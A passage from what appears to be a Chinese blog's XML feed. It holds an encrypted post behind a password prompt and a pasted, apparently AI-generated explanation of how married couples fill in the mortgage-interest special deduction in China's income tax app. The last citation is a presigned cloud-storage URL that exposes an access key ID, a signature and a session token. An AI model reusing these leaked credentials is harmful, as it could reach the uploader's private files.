0cbbf3120cab18d032d9d7eadd9ad3fd41c081eb1368c595c96ab77062242e1818547cd10af88558f11e2801adfb5630aed940ba4138ae9ea28ef8b5f09fb38c274e7b35236c5955a04dcc36fb127442ed69272a6fa969bdfd115e5a250d83bbeea10a40122df7f5e9dedcc754133162787c0e9139fb0f3691866c3d370822c70dea5c86957b14cec61ae2d74304464847879bc73f2c1888a6907fe863a7fdb73b0a81ffde1deace9e9aeed03da3e1ea88e826daf24429e058c82dfdffdd0cff0e34b8b8851c94c19c875aba429d0d47d52430879395fcf21ae3d3b304852014d33cf2c08ac6805dc3d0649b89afe2fdf19be3057c7b669e98704e2e48a09ea238d36d1f9748481cf08ad274bed1c7472fb9dd4493da2c1a8909cb7ad5fdd346446520f15f0fd9236268601f022fcd617ab779bdff0b06fb729a8f2e8608d7a348195ac678e693cbd4968a514af0163b6be1703eae0cfd8ca5046ab95caf3cabf4bb46b5c77dbc4463e02711ef040388464b2ade3e90247536a7bd4bb6d583af21564ce6770673d061817bd16f56741ec693ffb1042a5af975a27a53099fdcf69f25f0c242cca02d9036d1a61630e326d6a559983ee14eabcb68e2cd4069736665ca15df58366ba37bfe177903d7003c85a3fd4f2e4ec9afc345944a7fe8f7eb2a7d30b06f7dda18fc7e44484f7e4c84fe129b5809ef8e6f3e722bc6902158c1617664486b2a3e2c21f99d1cb9429b81763e28b4dc41e4af07f6b06830795c5b03ececbba4309d26adb4cd47eeb425c95550fadf4db89657e403f46775f44efde66c43548a52e878e18e455f34011e8a27c2161887d6a986bf7faae294527a1e502c7f1cfed13086d0396884c281e48fa0c5e6eb46f63721e76d6f7198784ad27f55c75a6fffcac3ce014551ca7a2969bc65e36fb49e8544c92270c8f4d759bf3f78c876cc36607363d926d57273896ecdf81d0950dd3995b286eda30b58edb682c1d794c5bb33e803ff571195ab2a3356236507abc820ce9949783811d2b4d6b3a38e5296cd055f9fd32570dd19347bf2c3ddf425ef04ddba8de925f8fdd75e481ab3be66d32acddb80e58aa75c99504adf80041b42c19646c5b310dbec692a814f4685146f17f8ff4f16abf0e1158c0747b9717fa64425747bd380198a63fc96d36ad1824b63e76fefcbb922879245c74d2168b9bf5969748bad5c2b869b7312c3523f30a6895a2af2597e322c524a6690f98990d9de347cbeab822fc2fc9b59cd1d54c55fd933a581c8f7102752d3b715b6d75b6d42f4a8940c3cfa70fcc504c3c5c28a8876999dc39366140dfe5f7f3536530d99eb69e5db03e1ef4c7d9973547b96f2a9a8c9be4e4a602b2b43b0e1c73f3b067c78ed32dc2d28bbf3bd0beacdd3786df12378f40cc07dc58f1440861d3591940bd7e96e90f9a7cdc413a2f5fefcfc65507143c0f08ab8b74cb4a0cf2f98a44e350858fd93da40abe39865e6a98186a0cd95c1495730874ffe08d094719a79ad0114c77cd165faac89b85f9493afa863a82b0d3aac06fac648f8d3cb10ace9deb38e92d281c894d97d37296fa6a746de70719bb954c8cca4671374238891ad00a9e9bed01c2c8974fe632d429031f831fb3cb419954b633c5b63d9c506a5dea54582f4088c6387808297a1808d48cebfec6014560b833d79ee97113b4f7f6afc0f3811094bfcce502a67f36d6abc19325f4115d331c2209ccf4ed2835a2d400287ec8ae1a08fe0853d458a2565f72fb5c402b3f6530a538cdea52ec29d6c98c8ae9d6131a9ef17f899d2325590f060bd3bbcd0e2caa6d2234c3a7b5a1a5fd07879fdcd96f97068954907a5a413de268282454cb74f387eacf4696ea637c3ffb900d30cd7c001bdc6f1c43a03bbc21ec93f5f80657be4970567544634eb332ae3b3391a59d1dd3ee547b4fda3f624c986fc0f38603e0199809e87d541264a5d41e5c12c93b798e79d93f03c42300db4f436d148ddeda5408a16168fb195872c3bb930b0d0647cd2e9de02a1ea1c0a5c2f5666ea5fd6a0d6d5406c3462e15b13e0d504536d7c65e086b1fc2182c416d2e389156c68397ccb0c4cf94ae9a87f34d1fd428e727ee3adaef265fda0f7e6fdc529d5caaffc4f2f1cbdee332611ddcfc94ea57ffe43817515286bd17c4a313b3f3950d6dd47c0c813e675d451012d8e98ce786bdef0a38fd4bc7bb853c60d423a62a2a5bb3362781fa4f99909cf9f1acca3d99006b6a19a55ea714732d4eb3030ec9f75a89b98513917a26945dbe024bd0bfc1b09a8ca522ca054be24890cae398ab5b1158f3c254c8d6fc29e98fcef1f5ed13ac6d628b777a18218bfa2def1c9e5ea4938ac13e7f903006175097d8295bfc1864e7150a74fae5bcfb3f71f7de72d6e291ec4e4974ecf250d82f17cf36de018678e13dce3b51e08cf52d6022078fbdebd9fcc6f20de7045deb46ab06f93642a8e758693259f16c649b603599839b00ea757a2b1523794efb97fded705b004821f915b6ec2f3fff61d75b2ff8245c36a79f3e4f5198e51d26cfd51e8005749f8297ee65ebfdb71a3af8c4e915c69e4e7da9a42c3575dbbb7b4a8b6cf2714ce41a98637c88d124b546a84c3d40cd5636ea3e0e4e06d35f4f07e1084007933d825a8bf8d70fdb5a6b4a450d1bc7caa53eb77eaa93887fb7619bbb35d5d4d97115b47954ce0cdb8c626f6cd999f6fe2ee0c04a7cfd394aff790b54dc7d1489a2aa120b8b55ce86890933f31134c7f2b3b33b5cf12e17c59df54e8dd6e6c8a0176b00d5e78f8b17507f5c5b780946a806c464f837f36e094bbab514cbd4ac0ba4089d3d3b876d681d626e942eb76d5e55450b76c65b65141c827eff6687e0cfe8199df6196ddd0526c66fb94d430bd6c6ddccbb33501923f8799c3d1293401e9b79044135b8680bb992040cde285914fb8b29ddbd464d563a137d01af7312c63a6f052dafeec8af6258c73693a10bd62c621b27ca355d89039140eba3e1fc658790c61918146dc46991b6f7c05ff176b3994139cbaede270aaf0c24e147a626ab1a6a4eca85fee7fbc589c45575354eac07d8be9d72458527b7920ba9c7791c717f189da3fbf783d75fc75ed1c90fa4df407d6cca7599342aa67f173ad4294511e573080424b9ca3cbf4a8b397611ec1e18dc7963d94dec658d1aa1bb35d6431f4ad058b9debadd5537033e8e5e650167b5fdd2ec752d56806be391fef3e812eb0608a52a57dcd12a83de770a6e81c68a9a970b22d22d0cb64fc0a2de2cb48a33495b3876156b3bdba3a976a20aabbe6aa36c76c766285056c3fd18ecba4c181e531bfd5f8704711620a65bdbc04c9f900ade82f1f51297b524c2b58190c26deb9b7696b22a1ea771217259f7ffc089aed34cdcf30a7f0412e1d6e6efe720247386005eb1a9582a0fb612a5adfd1652770047edd67d5ad08bac50964729afea90edd99321c5898ef2ee2923d339e1fb77bb73402145b6c0eefcb527b49069dd9fe901fad9a1aaf1d6833111f23a56d07a84623993d0fad0ff73dc4285c7532108172d7cf8a291d684a4aa38d56db9ed05c04d9b0d7e6662dd99f505111208eca2200e287033b86cf68a103883cabe46fcba3206261b13e26f6ec41ed2d9b2156346a53294ad877a9e08e424820ff646efe7c532150746a0f116a6743f821ca3e883bda7320071e985e2ec7cedc332cab12b58e2494a342ec4e58cd9410adc82850e91dddd24ad35aeb7248cf522bb8e1005893008d0171167383c10524997eb39f33ef44e068bb3d1bb337f4e07698f923d0a043388d61e9fb30f52f0cd88fd1b39b63227c29d6f4ca0a7787bc9f73fd3bc00ef8a6ca5f7bdb002be943d25cce9d7e39733548344f08ea81e58c7a2d811cd0d7fe33224f1dca089c5027104324826ffb40ef740aea97cd58ee826a04d8b744dfe55f8500df7ca52f566b87782cd482ad243b42edecf41f562bc048a0ecef31290fc687aa75d83345fe5d455b8d34d63bd4056bd9a0ad898a210d51a7a81423e30af9f8af27780ce38883de8521df98543d3886dee804657d37da303e4a8be5d02d19457d4edf56e96a7a0daeba776e2c9fbc0437c95c6f9712ebb0bfca5012e59be2340a741676266198d3b344f40e0727202b86a03f41e25c03d34b16f7a68fdf24de063f9bd4640f8797198c6fa60e6ed5ad78dcf0348eb5b8be913ba244f66758603505c057de395946a34d153ff4be5543229ce5b889aad7d8b80f8994e43bde1871cdf7566e2e3e55a85f316dea632a2d25c0325fb8fc86fac0bc2eb590134ec7759c623563a3ce998b897cc52dd5d2370c41b1b750b6676d07d4256f0e9b2c3933bc211c6d88eedc9df74b35cc63727696a2f937b92e597d8ad6f9473a342d5b2c9c47b31351b72eac90735d3fec911796399a6f0929233e1025a83b6a85a59c3cd14d9a01ee80b892a4514f2b8eff4f1ed5246613260b46f03ed7bf9d3a8f5c1614405af707fa640779ca975fdd3ea966b93cc8def0b599acc092c50ebfd3cbbd1bec6b718a9045921ee147693f8f0dcf2d24f530df64102934d45d6475ed8f245b86c1df4840043009dd75e084336dac4c55cca034ebe501e3b43632f39c3d8859bad8b1cad7d7fdcb46c7ec103f0759f021e73d7d5057223b6a5584464478f7c767321b4c3e9691f45166c851c69f23a0a29a07bb23e901df5cd7b1bce98d7322dbf22787f5e0d6674352912689a586c4eabc85e9bdfa350c92132f84f137fb1a1595f58684decc44cb0a00342d76791afacb2ebdb9b786386c9f4ebd5eed478fb0352e3e606c0031af09b1b3c77a4e44df74dea7388928784ccae4daa31f134865de445ff17a7dc9c94e9ff8efe49c9128bd3906ad42218c9c034a7404513dbfcf3e088dd6f3add96acac0fe68e1cd2127f86da928ddda6bd2ba9e8a01afe06f9019adf7e68312d534470b4f80f639c3f39a77a437d47810f98446d2c6d8df14b6056bf524cf14e131b7962757eb6abd19ebf181ea349dff967a4facf1c667267995b646f9ea9f1f1c6f9fc9f673080a985ccee15ea7d8926cb2260d66d53485ddfb63022acd6fd2ee4e651154f34c97390671f6c99be966f44fb11f5afb2ba418da475ff5e1b57e2e2dba1f512fd55bc5a60e59e8c31ba9a4c4175f7a26192ce0adf18a5e7415d8e9112d7f83fad29a942f5f6b8ed751ede2c6f71432b7fc5a9b3b06d53f1c20321d91ce9f31eab2821ad073d928b8eb18ce056b7fa66d1b16a1dea65661297943c67193f870d8038f1e2cc789d3c34164aeb76686fbe50178158c7a270c695cbe9edba8241579b41b1995147e6a051f923d308ab064790d02abaa9358122ec477aaf6d849921d182532ddbdafaa6a2b75700b61429ef112dbd19296d4f59ea5faebaaebd192d5945aa56b7ba9895821d6838c8db9bc511f3116f910b79ca0782b5cc45ef1b730209a7b01cca5c79088aa273d4cade84f6e5efa5ff784d7f2d1ec875f39604ff845525a37ea4c9bfe3171d83225c89f423ffce8ecfdf3ade92c809a2e8da966125b7ad3d2206055dd231d207f6523db1d890b265180141f16a72902e14e73d9b76d55c49593fd92b1340f86946768ca0740912c3f24b53dbd51b1acce0c7516efa18a7cf874f70dedcd6f5e0e1431aeea6c50b0ca9e636452d4a1e0e15c1182d90e5c8562b19af614fa012d6ec37a0ff90165ad0ab14a43069073a0b58302fa984f9b8ead9abd7946ea89145d380661212ce1d585ca2a7f6719e925f4ef6128dc95ddb9f2506eda605dd6c473e5c1642dc171a2cb45f37d2fd3dae1301bae77783fb0e6812016899586ccba8a23326b7d3228ecd0fb12fc9ea448135ff2287a5086354ba6485e458b967e38a1f882e4667184b8818d959caa0e501305e559e16795f2c3a71d0ce154e7bc77102c7fd9b4a8998029cc5c2c4041f2060ac8e1adbf452c347c34eb09bc224277e6d6e74f27fac41b046a67f9de41acc808e72992a5b79c7dffac22afc4516ab4b5d0e2b89be4259468155e39d10fc356173e5457cfea4df53f03bc6e3093758d429b8b66bcbdf5848fffc8c152b967bd4b8626016f9eeb2e5c4657119ab93db1c8c8ccf8096d6c819cc0866db948af2ddc58e30d7232e81a5510f88f556cefbfacdab2989bdbcb1fa654cd2fa05a9eec39736950b9261cb1558ad7f5c977611a8c02aeb739a4d87cde4d8902cc90ce0fc90a2b28a9ad47b05acb5446834ecac72ecd8ef74a95f2e019d972d81d6f35b7115e2b2e133ac4433cf5668e2463a1f61807556d993df834c112b28e1eca900157525b2d4c5a18693979f40646f67a9fd8e9939f7acc630f9482d675720075240193a3574e7170d2531a0238efa657b0edfcdb14adc068d91ef4254524186071704aa940d7166667302a40d59906aad9534b5d80db97a4830e2f31fa1715bb4ab33b03e1f7145534252f18ff4b7b47e0236c95c69d6665f52d7806346d6d435235f586da5f3a3b22f3eb50e4d9bca7c6684f4c0365bcea777e8aa6ebdea30f4b46d01597c13dacc8f0aa16d17c210a0d1b761948d386a4ae2d94d70f460ac82d503114d2fb69bb07c6f3e4c63e412f99cbec688b883c58aa7cd5c2d845e66f4c9c2c978cf87474f9c1facb4da613d0024caea3bc88b32cf7933ae1a263fa5798ae5385a205977cdf143a788084ff8b934e0cfe56fe46906d2026da428b975089783de2ca3b146139da99b0bb5f461558db1d0210129937c5b6305e3bcb4035dbce23070c0cffa8ebc5410222bb1d7f545ad65692ac812144f2eed1fa4648b32dd94ef31d871b1a2208ba3c5af1c33e6d5eb175723473652b9715cdb26549bace65667a1a997ffb7c064d9ab72efa7668b7816661105f4786d5e62852c8d3a2dfa2e216db711b422c4341663baa593adb229d786c3bac870d9ac073ba030d0930fbd9132e856bc05075a6543f35b09ad0699f72ac0591bba84208a90e302ed3a8d3de7351a210396048c23ca37637699c28b0fc1259ec1e2f5e894243e69a1594ccdf150fa5dc43ad67ec4c7b2f0bafd53da78d158da127cf04c9d44b87de71486da9d7f4b960d2988d7a957992fdcef332b05cfa154284a00981a3468efe3aefdf2baf0624c1c9a237158eeded38c2838338d803417ba4bb18f6b160e3493209bc815461c3968e8e0cc6fb1d016368ed9a9f781f4d3117368eac7c1365dc4ae02e8c38887de3a050d1f2fa5e7e1c4df40e801dcf8e8fd12f322c8deef3b27c60635408c0adfd5f250df66f4b11bae47270a6014d0cf22ad1b791628db2280e6697178bfc6280dbcd4d6a2b996cd1ea07095e2ca39afcfc98d160172ff049592db170be0f2cf453b4bcedc4d7071ec2cc53a544a54c2e31f7e9874560795c9cbbf5fcfd76399c25bbb7e4f69d880d7eac6ca4be2f0bdc8eeef40fb2773b3edfb2eff3c95a923e70644026deccef307f27585bf05ed0b1d982ca34f741efb48540f3111b001445e0108ac88f6722a0a39a3e485b43092035e2332661544e1f46ec8d9359857bbb20d1aa911b95b3ebdb7d99a92ac62c7e3c1fa3e49b1c88b6f0846489440d2d2c79d824dc483741e5eccbc2cfd69a9d1439455e2fd5e3f2af256edcf8b288e75d3a0a2134394814868a6974662f3d5841be991711e9dc8c5783d4f4a0105b6718404aa43761288a3fe852732288bf9d16702c67599a3a9b7b58a884a0ca5b0cf0264cceed000559698a8660c154aecf83b01c3bb5069668ba9fc7277fa3b29228e80dd9a527d48d8509f4cd422757074dcc75e691ee3342e1aac9286ebffd8db82d5b2a2e8acb559a6a8d6c0250e6a37bfe475db152593467396cb3590ce77cfcf533d58c46a90a2a68f8e72351c8152b80607986478336211c9a64473c650c2172b51ce65561dab9bfc6b807895f678cca685a65f5859d43d33b0c7916e56dedd4816d9b2db831b7dcec1435dd8cb2f1bd797b7a68f6c1a2b0544333ecf670f83b07085872e8f9ccac7507a3669dff43a91b33b5978e935b7f57a65c40b27285782ab4d5c48721db2409b68187d4bd6e11e51e78650e82c594888d0102578ee7d2c2780a32d73f7c08d5fa9a24eab99d54fc967e7314be5467f0757abd99d11a7162358dca42c7c4688a2be90d6b86c734a71ecbe5259043a6838b7f1adba778bb57a77cc60fdba202c454659f18c64cf9bad85a439cf8f489f5e2fcac1b1729f414369254713e8715d5e553fe9570d5dbb1c3b9bccb53b97a234e68a1e3978f401c15ee0276fb4c722ef245e87ff284e9ed355469aedbc230d43376c0b48cf43913aa234d617d401fe47d56e8513eb1ce8389df2c98186d903dea5a900979d360e6701639a6d45580a43bef87dc3a873acafede14b1959947e791c8d75e5adbc47eff0bb829f2c0ce562209af31d6136e0ccae9b2190ce75f46699702b62368c2ef50901df4f6dcac014c16ff85967324357b736266125ad1b87517a55a3be1d6763dda871c03ae7aec28fedf63250ee548fd8720f24b8bc8aae034652fa3fcb4020006a831d50ef76b0ead69156aa9dd43cf150c22755e36b76ce2e3cad465bb6d7a3607b35372d78ee793c93a7b6e660856ae8ce28d2b9a79f1c19c7a4bd6a508a8fecfcbd037b4d611971b66ebb359dbc2fd1eb8851d3e42e855917f95ba70eabfb0deb2f71180f6c5fc1f32e474675145a9c0b61fad0f6c5c7bd1bb6b0b4a85737ac37c67538c9f916b14da5bde50a630173d6f992b14c91474b9e5f4af4fa10550f170b26e626a18babd3b9047eaa952fbffaa2cda50e1e51443f20b394ca5add38adbdd089586b4ec0fe0212f3910ba0094e0dcee7317c2cf3df972eb7978cb06226e986d59fa92ef5675f7631ea987a8abdc85e08c3161d3db887d281908c4d9e4179b3616b9757b877007a589850913f5c1ef5cafdd995c606923f84892cb7087c4f2328926e8e495a6e0e7c4eae74d37fabe28c59fc5bed04ace00289dbdf98728dff41fb2e407f501ff57276ea7cf834a6d44a0c1671b24a5f0439032b8480c839215816ec707d6908cd9ac04403e3e1871b21af58d222355c8b9cf955eed94458a1b67cd30e0125956588f6863035bbf155ee73f9a2b9dda721cd3536e2db4cbc4b441989e5a2137681d76a3dbc14edc6ef1258a84e7cf719b7abc18368fcefa78400531f88d281eff66aa23ade1a823ab4cb1d7501e4d1a6cbcb98409531f5f052fec960bb57ade20c3fc9064dcb6ae7548d65ac95e0973eeef2cc5b7986b2b3007456efa40f2a07ff527b0f1f42d05e70fcb4f671c011207a622968c909b737d7f4b1e372f6e1bf117d5256ae14093ac2372740e61565a11df262573b3898a9e0987f9521e904659fab71972de8df75f157a470fd3967e48cee839fb27327e6be3bd5d3c8123737d9c4758df8632d645eaf561ca03e4b052115d3a1aa282b654e986937402ed51eb00d12dbe64def12ce343af937470b953be13539b60a23b8bf05547e865dabd0f2391e9a7a31be64b3e351a9b55315d6440796a77dafe1b808f9c503833f909e8cd8054bfa4800ab31b19d1f338a635e33ffa6626c5d309603f629706e96113cc12fc6e2ba2b1df8398dd16a23effbd538ffe6a7a4bf4aefb99358be8561edc07a16b273e4f655d8094c76821874c93748b96401723c8b7d973a916727e65b568b56a2500d068b5630591a107d53135841275de0d46684e61f26266ec9690c1f8ac4a05c202f77b282d7dfc9feaaad771539494f1a0c8b413aa086a98c54b0b1db5946cd85b7c74b011bd81eabe716f51e87875e424f458ae875b0f1a264f7bee1fc742dcdbae79d0d036653dcb1cb5c0a3b6bc3797d52fa082aedc5d18da3398dfeab99f132f609a9da06806e3d2371959c23676f4f4afa14f9bb0b228431c91bd9c20a88257d31d1c13b9144a6822141275d8d30ffffa19b3a53b0afee7c5b762d40f1a085e8ac8d4896b2e2c685e4ae1fd124d1d199b6aa64092cecf72e287251556fffd7c8ccc94db8cf1bf5297a98bf0bc71cca96f30654f2996670a01114e319b58ad18508eed04256e18331b960942824558c8ace1b46bc77644744e2b29a17ba1492ab50fe09ee6ed7dfc3434812ed68014a7f4f1231e805a1237424ad046649246e2a0829cfe141a197887861e71ebf96df20f76f584b28c4d30d9ddcb9e02741bee3d78d3b1b3c193de47c044ad9ff54cb9a14ba7bb016e66ee2cd5d397513d9a4a3589a656dff80f931dc4fa89135559c5c3e1edf9398f2f038a2be392caf4474bd81e2e98c03364721c5e59d8950121b47c4d6605be59f18c85341a9fa41b3d6d56c3b1412715cf55de27cb1cdb618821d935702ff803cb6de7b3b0a55419a06ffe8c33f2e0af6c82e71c615e835b037e69152f20de32ee0148ee8880b1b311d2e9ffce6b46a398810b042cba489c1ed109c4ef8fd7eba353eeb97f77f9cf7e5bb68b23edda967bc76823778131061b1e4f01a707138d3b33d34a5b3188c77da5839dc4b02a3aed1a00bb8cffd7e02e6650d4432178daa7bcb7faeb38d559f5be9fad89a5ce3e807785daed5c88212242c785b4f831d23e0e93af298314338deab87458022b877f32a10e2d72c3255c37cce096aa4367aa540ba126e79acfbd950789d5e74e9749cf9770c0b36de5334ba3d7286671451bad7667a04cc3585004892e0d826202c88c4e1019853f4181583fbdc25354f06bcdf5389493eb30a5dc3cd6651f31a1bb1472569bbd37ba6407004172956daf0160751566de16628ae53d9b85d26450a5f2ffa9813b5d7eb56be55419b7fca66c65f31a79bdf63aca582dc1fe5e6a17f5dba76a9ee5089d5ed521fe67c0162e1edaed6dc6df2315fdafd760621d676d12cc8931fa946846660e1f813e2454cc9eb1801a6a4d129fff09c5452846150bc2221c11ad461b3c4039008ee146caed6c1fc9366a93495571719756ef1a9d9d352a94cb8f4b703914411d30b41c898200069b10a4ff75c008015d65f2107514dc6b1c22f1c4f568c47b7e236cf2735ed24e532e6d9cf440d44a8a589a9cac064e810abbdbc066866b6e74f643f664efd9767992dbb39ae6eb913634154284015415d336f3136b704fe57dba48b7b5e0a14480c998b0a992465914d404eabc01e61ec3294bfdcc78a5836fbec10a2d0fa70fd8795b6d01c2d5f27573955ff5f1a998291f633ca2853978a14dd2ae61bf7c8ad6d9c906dffb842c6b4ff1c6b9b0d60aa60c0627a03c407ab95fb134cba7a31c250ed7d1441689c6f3ee29ca3f5f652732b03cc438d08e8a6f821432fd9a253e88d56b5fdff0c08c28e5d0b33346c55eafb3604c702eab7369d156474135d51a130435e8b1d813063fe035b26be7b55ba2e0a4b75cb273fb591eb7444b999368b5e250a39bd5df3cc7d7fad0806225f5876df373bf99424a09a964f84210317e4d7da6cafaaacf7d3c13c34bad427806c953046b9556bfa43bd13abaa69ca43f5d5af257d6211e8c90286fb91ba2e1778b66270c5fe7ca24bbd0aec312ca7933bbe53130d16ee9422ed3809212b5556f88cd7c9f90f1993eec91ef1475679a10c8f791f46fd0505e822b09120f4062c0cfcbe5251603a29967431e0769561fb45d97b3403e1adff3edbb1536fbe712110a5b827be1a7470b46063666cb0f4593de848dc71189b5fe647562a4243b3a0efa98a2af336291e856ea8d7437752411948c0e383aec1cd1fd666203c68f5a4ef47eaff99de583eba5191b2b80f941117119e6cdef26f15a8987e513e187074ecf9c31c23e3bfdb4d0d8acc13d1302c2e3</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">您好, 这里需要密码.</span>      </label>    </div>    <!-- 添加确认按钮 -->    <button id="hbeConfirmBtn" class="hbe hbe-confirm-btn">Confirm</button>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>个税专项附加抵扣(房贷)</title>
      <link href="/posts/ge-shui-zhuan-xiang-fu-jia-di-kou-fang-dai/"/>
      <url>/posts/ge-shui-zhuan-xiang-fu-jia-di-kou-fang-dai/</url>
      
        <content type="html"><![CDATA[<p><img src="https://imgbed.eamon.dpdns.org/file/1776314586103_%E4%B8%AA%E7%A8%8E%E4%B8%93%E9%A1%B9%E9%99%84%E5%8A%A0%E6%8A%B5%E6%89%A3.png" alt="个税专项附加抵扣"></p><p>个税app，专享附加项抵扣。有关夫妻双方婚前或婚后贷款购房首贷与否。。。双方抵扣额度分配比例有何不同。。。我不知道该项如何区分填写，给我详细举例应该如何填写</p><p>这个问题的核心在于：<strong>婚前是否双方各自都有首套住房贷款</strong>，直接决定了个税APP中的填写方式和可选的抵扣分配比例。以下是详细说明和举例。</p><hr><h2 id="基本扣除标准"><a href="#基本扣除标准" class="headerlink" title="基本扣除标准"></a>基本扣除标准</h2><p>住房贷款利息专项附加扣除的标准是 <strong>每月 1000 元</strong>，扣除期限最长不超过 240 个月，每个家庭只能享受一次首套住房贷款利息扣除。[1]</p><hr><h2 id="三种情形详解"><a href="#三种情形详解" class="headerlink" title="三种情形详解"></a>三种情形详解</h2><h3 id="情形一：只有一方婚前有首套贷款（最常见）"><a href="#情形一：只有一方婚前有首套贷款（最常见）" class="headerlink" title="情形一：只有一方婚前有首套贷款（最常见）"></a>情形一：只有一方婚前有首套贷款（最常见）</h3><blockquote><p><strong>举例</strong>：小王婚前在南京买了首套房并有贷款，小李婚前没有买过房。婚后两人一起还小王的房贷。</p></blockquote><p>填写方式 [2][3]：</p><ul><li><strong>“是否夫妻双方婚前各自均有首套购房贷款”</strong> → 选 <strong>“否”</strong></li><li>由小王（贷款购买方）填报，<strong>本人扣除比例 100%</strong>，即每月扣除 1000 元</li><li>小李不填报此项</li></ul><blockquote><p>这正是您截图所显示的情况：选”否”，本人扣除比例 100%。[2]</p></blockquote><hr><h3 id="情形二：双方婚前各自均有首套贷款-→-选择集中一套，由购买方-100-扣除"><a href="#情形二：双方婚前各自均有首套贷款-→-选择集中一套，由购买方-100-扣除" class="headerlink" title="情形二：双方婚前各自均有首套贷款 → 选择集中一套，由购买方 100% 扣除"></a>情形二：双方婚前各自均有首套贷款 → 选择集中一套，由购买方 100% 扣除</h3><blockquote><p><strong>举例</strong>：小张婚前在北京有首套贷款，小赵婚前在上海也有首套贷款。婚后两人商量，选择只用小张的北京房子抵扣。</p></blockquote><p>填写方式 [2][3]：</p><ul><li>小张：<strong>“是否夫妻双方婚前各自均有首套购房贷款”</strong> → 选 <strong>“否”</strong>（表示不选各自50%方案），<strong>本人扣除比例 100%</strong>，每月扣除 1000 元</li><li>小赵：<strong>同月起变更信息，停止申报扣除</strong>，扣除比例 0%</li></ul><hr><h3 id="情形三：双方婚前各自均有首套贷款-→-各自对自己的房子分别按-50-扣除"><a href="#情形三：双方婚前各自均有首套贷款-→-各自对自己的房子分别按-50-扣除" class="headerlink" title="情形三：双方婚前各自均有首套贷款 → 各自对自己的房子分别按 50% 扣除"></a>情形三：双方婚前各自均有首套贷款 → 各自对自己的房子分别按 50% 扣除</h3><blockquote><p><strong>举例</strong>：同样是小张（北京房）和小赵（上海房），婚后两人商量，选择各自对自己的房子分别抵扣 50%。</p></blockquote><p>填写方式 [4][5]：</p><ul><li>小张和小赵<strong>均需填报</strong>该项</li><li><strong>“是否夫妻双方婚前各自均有首套购房贷款”</strong> → 双方均选 <strong>“是”</strong></li><li><strong>本人扣除比例各为 50%</strong>，即每人每月各扣除 500 元，合计家庭每月仍为 1000 元</li></ul><blockquote><p>⚠️ 注意：选择哪种方式，<strong>在一个纳税年度内不能变更</strong>。[6]</p></blockquote><hr><h2 id="三种情形对比"><a href="#三种情形对比" class="headerlink" title="三种情形对比"></a>三种情形对比</h2><table><thead><tr><th>情形</th><th>双方婚前各有首套贷款？</th><th>APP中”是否双方婚前各自均有首套贷款”</th><th>分配比例</th></tr></thead><tbody><tr><td>情形一（仅一方有）</td><td>否</td><td>选”否”</td><td>贷款方 100%，另一方 0%</td></tr><tr><td>情形二（双方均有，集中一套）</td><td>是</td><td>扣除方选”否”</td><td>扣除方 100%，另一方停止申报</td></tr><tr><td>情形三（双方均有，各自50%）</td><td>是</td><td>双方均选”是”</td><td>双方各 50%（各500元&#x2F;月）</td></tr></tbody></table><h2 id="您的截图说明"><a href="#您的截图说明" class="headerlink" title="您的截图说明"></a>您的截图说明</h2><p>您截图显示”否 &#x2F; 本人扣除比例 100%”，对应<strong>情形一或情形二中的扣除方</strong>，即您本人以 1000 元&#x2F;月的标准享受全额扣除，配偶不另行申报此项。[2] 若您家庭属于情形一（仅您一方婚前有贷款），这样填写完全正确，无需修改。</p><p>引用：<br>[1] 共同贷款人如何享受住房贷款利息专项附加扣除？ - 税屋 <a href="https://www.shui5.cn/article/ca/126194.html">https://www.shui5.cn/article/ca/126194.html</a><br>[2] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？_税务 <a href="https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml">https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml</a><br>[3] 现在婚后选择由我自己进行个税专项附加扣除，“是否婚前各自首套贷款 <a href="https://www.nantong.gov.cn/ntsrmzf/swxx/content/98ba516e-6499-42ec-b134-3e1ecff58797.html">https://www.nantong.gov.cn/ntsrmzf/swxx/content/98ba516e-6499-42ec-b134-3e1ecff58797.html</a><br>[4] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ <a href="https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html">https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html</a><br>[5] 个人所得税专项附加扣除200问（住房贷款利息） - 财务处 <a href="https://cw.gxnrvtc.edu.cn/info/1085/1200.htm">https://cw.gxnrvtc.edu.cn/info/1085/1200.htm</a><br>[6] 全面解答！市税务局详解个人专项附加扣除注意事项！ <a href="https://guangdong.chinatax.gov.cn/gdsw/fssw_swxw/2025-03/21/content_5c22005c4327410eac2cbfb68b20f164.shtml">https://guangdong.chinatax.gov.cn/gdsw/fssw_swxw/2025-03/21/content_5c22005c4327410eac2cbfb68b20f164.shtml</a><br>[7] IMG_20260411_214150.jpg <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg?AWSAccessKeyId=ASIA2F3EMEYERJCY4CL6&Signature=1QDmGWldo1J7p6XPknR0IotYMsA=&x-amz-security-token=IQoJb3JpZ2luX2VjEIL//////////wEaCXVzLWVhc3QtMSJHMEUCIGkOGrqD88VE7TA1OjDN7uiFlZf1qOu18TMKlkQB8MolAiEA27dWXumZoolORWiy4Roy7+P4VppgS6X1SmLZ+Hf3swQq8wQISxABGgw2OTk3NTMzMDk3MDUiDCWVFv2DR54+4bOTnCrQBOpQjUhe7ukAWfofHfROHSekytxdSHOH9eGNpm+CwMjfUB3dvATkZt4j61vtq4O9o1thHD1+C8NDzGl1HlNgp4Hc0DrCc4znA9gMjo1371nl3GKl7UcMWMbjnMiN9wPtzKr9OulEJm94ayUHack8VRSJs6zVe6Y3rN8O4HwemElj4ETBjx7XOR5TlT1EEFWvIiMOJZ2gx1Xi8UktLyCiyOtxkAYPvJGL5nPikV2BOgRIRlZL19F4WzPe/f8E99qZ5tDbpYiZKD9Nv1Aw1auMk9DuCTlscqHvz9nn34yXAeczwTKOEZo5lHHYStNN07/Qdqx7nu